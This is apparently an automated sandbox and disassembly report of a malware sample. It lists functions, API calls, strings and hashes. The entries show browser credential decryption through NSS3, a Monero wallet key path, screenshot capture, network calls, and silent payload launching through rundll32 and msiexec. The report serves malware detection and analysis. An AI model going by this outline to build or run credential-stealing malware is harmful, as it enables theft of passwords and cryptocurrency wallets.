Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

l, xrefs: 6C664578
NativeNtBlockSet_Write, xrefs: 6C6646F7
WRusr.dll, xrefs: 6C6644B5
Gml, xrefs: 6C6644FC
user32.dll, xrefs: 6C664557, 6C66463F
kernel32.dll, xrefs: 6C6644CD

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 00FFC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00FFC9A5

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0087F1F8,00000000,?,0101144C,00000000,?,?), ref: 00FFCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00FFCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00FFCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FFCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00FFCAD9
StrStrA.SHLWAPI(?,0087F090,01010B52), ref: 00FFCAF7
StrStrA.SHLWAPI(00000000,0087F1E0), ref: 00FFCB1E
StrStrA.SHLWAPI(?,0087EFF0,00000000,?,01011458,00000000,?,00000000,00000000,?,0087A6E0,00000000,?,01011454,00000000,?), ref: 00FFCCA2
StrStrA.SHLWAPI(00000000,0087EE70), ref: 00FFCCB9

Part of subcall function 00FFC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FFC871
Part of subcall function 00FFC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FFC87C
Part of subcall function 00FFC820: PK11_GetInternalKeySlot.NSS3 ref: 00FFC88A
Part of subcall function 00FFC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00FFC8A5
Part of subcall function 00FFC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00FFC8EB
Part of subcall function 00FFC820: PK11_FreeSlot.NSS3(?), ref: 00FFC961

StrStrA.SHLWAPI(?,0087EE70,00000000,?,0101145C,00000000,?,00000000,0087A680), ref: 00FFCD5A
StrStrA.SHLWAPI(00000000,0087A880), ref: 00FFCD71

Part of subcall function 00FFC820: lstrcat.KERNEL32(?,01010B46), ref: 00FFC943
Part of subcall function 00FFC820: lstrcat.KERNEL32(?,01010B47), ref: 00FFC957
Part of subcall function 00FFC820: lstrcat.KERNEL32(?,01010B4E), ref: 00FFC978

lstrlen.KERNEL32(00000000), ref: 00FFCE44
CloseHandle.KERNEL32(00000000), ref: 00FFCE9C
NSS_Shutdown.NSS3 ref: 00FFCEAA

Strings

, xrefs: 00FFC9C6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 8a389d0aa238878a49801b86d3d4bfba994d81fd703bcab5ad04b6e7a352277f
Instruction ID: e07d2f143447df87fa93dbc9503a7014c1e3fa46aa735fbd758a613522651e0d
Opcode Fuzzy Hash: 8a389d0aa238878a49801b86d3d4bfba994d81fd703bcab5ad04b6e7a352277f
Instruction Fuzzy Hash: 7DE1E171A10209EBEB16EBA4DD94FEEB778AF64300F404169F146A71D4DF346A4ACB60

Function 01009010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0100906C

Strings

image/jpeg, xrefs: 01009136

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 15eae75890067b0f615843173c48965b1e70718579cd072b7995df2d6e0b5429
Instruction ID: 4af547a6366b76bba1c82add09a2cd7ffeda826f49bb353a23aca4416b09fbb3
Opcode Fuzzy Hash: 15eae75890067b0f615843173c48965b1e70718579cd072b7995df2d6e0b5429
Instruction Fuzzy Hash: AD71DC75A10208EBDB14DFE4E889FEEB7B8BF48700F148518F656E7294DB35A905CB60

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 010017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 010017C5
ExitProcess.KERNEL32 ref: 010017D1

Strings

block, xrefs: 010017B7

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: ef947e5bd337259359383fbbf352cd50d526da2ff5e45333a7d2a64277a3ec85
Instruction ID: 63667861bbaa4436b0419f4390a65196433afc256908977d6652743fe26e8b9d
Opcode Fuzzy Hash: ef947e5bd337259359383fbbf352cd50d526da2ff5e45333a7d2a64277a3ec85
Instruction Fuzzy Hash: 69516AB4A04209EFEB06DFA5D948BBE77B5BF44704F00805CE486AB288D774EA41CB61

Function 01002E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

ShellExecuteEx.SHELL32(0000003C), ref: 010031C5
ShellExecuteEx.SHELL32(0000003C), ref: 0100335D
ShellExecuteEx.SHELL32(0000003C), ref: 010034EA

Strings

"" , xrefs: 0100309A
C:\Windows\system32\rundll32.exe, xrefs: 01003332
.dll, xrefs: 010031E5
<, xrefs: 01003490
C:\Windows\system32\msiexec.exe, xrefs: 010034BF
.msi, xrefs: 01003398
/passive, xrefs: 0100345B
/i ", xrefs: 010033E4

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 35d3312356d134312c426e2f74955b20cd18b5021687baadd179b1aaa92a9f97
Instruction ID: aefb370510434206e461963b7635571ed3f053a3afd1fc263a5dde29c5e9d3e7
Opcode Fuzzy Hash: 35d3312356d134312c426e2f74955b20cd18b5021687baadd179b1aaa92a9f97
Instruction Fuzzy Hash: F412FD71A10209DAEB16FBA0DD91FEEB778AF24300F404169E586671D4EF742B4ACF61

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 010052C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF6280: InternetOpenA.WININET(01010DFE,00000001,00000000,00000000,00000000), ref: 00FF62E1
Part of subcall function 00FF6280: StrCmpCA.SHLWAPI(?,0087FE88), ref: 00FF6303
Part of subcall function 00FF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF6335
